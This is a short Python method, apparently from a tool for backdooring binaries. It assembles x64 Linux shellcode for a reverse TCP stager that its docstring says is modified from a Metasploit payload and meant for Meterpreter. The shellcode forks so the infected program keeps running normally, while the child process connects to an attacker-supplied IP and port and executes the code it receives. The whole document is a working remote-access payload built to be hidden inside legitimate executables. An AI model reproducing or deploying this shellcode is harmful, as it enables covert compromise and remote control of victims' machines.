'FOR USE WITH STAGER TCP PAYLOADS INCLUDING METERPRETER
Modified from metasploit payload/linux/x64/shell/reverse_tcp
to correctly fork the shellcode payload and continue normal execution.'

def reverse_tcp_stager(self, flItms, CavesPicked={}):

    if (self.PORT is None):
        print 'Must    provide    port'
        return False
    self.shellcode1 = 'j9X\x0f\x05H\x85\xc0t\x0c'
    self.shellcode1 += 'H\xbd'
    self.shellcode1 += struct.pack('<Q', self.e_entry)
    self.shellcode1 += '\xff\xe5'
    self.shellcode1 += 'H1\xffj DCTB X\x99\xb6\x10H\x89\xd6M1\xc9j"AZ\xb2\x07\x0f\x05VPj)X\x99j\x02_j\x01^\x0f\x05H\x97H\xb9\x02\x00'
    self.shellcode1 += struct.pack('!H', self.PORT)
    self.shellcode1 += self.pack_ip_addresses()
    self.shellcode1 += 'QH\x89\xe6j\x10Zj*X\x0f\x05Y^Z\x0f\x05\xff\xe6'
    self.shellcode = self.shellcode1
    return self.shellcode1
